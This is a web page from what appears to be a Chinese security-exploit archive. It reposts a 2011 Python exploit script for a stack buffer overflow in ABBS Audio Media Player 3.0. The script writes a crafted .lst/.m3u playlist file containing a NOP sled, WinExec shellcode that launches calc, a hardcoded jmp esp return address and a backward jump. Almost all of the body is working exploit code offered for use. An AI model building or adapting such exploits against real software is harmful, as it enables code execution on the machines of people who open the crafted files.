首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ABBS Audio Media Player Buffer Overflow Exploit (M3U/LST)
来源:Rh0[at]z1p.biz 作者:Rh0 发布时间:2011-03-15  

# Exploit: ABBS Audio Media Player Buffer Overflow Exploit (M3U/LST)
# Date: 14.03.11
# Author: Rh0 (Rh0[at]z1p.biz)
# Software Link: http://abbs.qsnx.net/downloads/abbs-amp.zip
# Version: 3.0
# Tested on: WinXP Pro SP3 EN (VirtualBox)

print "[*] Stack buffer overflow in ABBS Audio Media Player 3.0 [*]"
bufferlen = 4108;    # buffer until return address overwrite
nops = "\x90" * 5;
## WinExec("calc",1)
shellcode = (
  "\x33\xC0"   # xor eax,eax
  "\x50"    # push eax
  "\x68\x63\x61\x6C\x63"  # push 'calc'
  "\x8B\xDC"   # mov ebx, esp
  "\xB0\x01"   # mov al, 1
  "\x50"    # push eax
  "\x53"    # push ebx
  "\xB8\x0C\x25\x86\x7C"  # mov eax, 7C86250C
  "\x04\x01"   # add al, 1
  "\xFF\xD0"   # call eax (WinExec@kernel32.dll)
  )
   
ret = "\x87\xa7\xa7\x7c";   # jmp esp @user32.dll (0x7ca7a787)
esp = "\xe9\xeb\xef\xff\xff"; # jmp backwards 4116 bytes

buffer  = nops
buffer += shellcode
buffer += "A" * (bufferlen - len(buffer))
buffer += ret;
buffer += esp;

try:
 A = open("exploit.lst","wb")  # exploit works also with .m3u
 A.write(buffer)
 A.close()
 print "[*] exploit.lst created [*]"
except:
 print "[*] Error while creating file [*]"

print "[*] Enter to continue.. [*]"
raw_input()


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Opera Mobile 10.1 In Nokia N97
·Kolibri <= v2.0 HTTP Server HE
·VLC Media Player 1.0.5 Crash P
·checkview v1.1 for iPhone / iP
·Rails 3.0.5 Log File Injection
·Linux <= 2.6.37-rc1 serial_cor
·Accellion File Transfer Applia
·Android 2.0 ,2.1, 2.1.1 WebKit
·Foxit PDF Reader 4.2 Javascrip
·ABBS Audio Media Player 3.0 .l
·ABBS Electronic Flash Cards 2.
·PHP <= 5.3.6 shmop_read() Inte
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved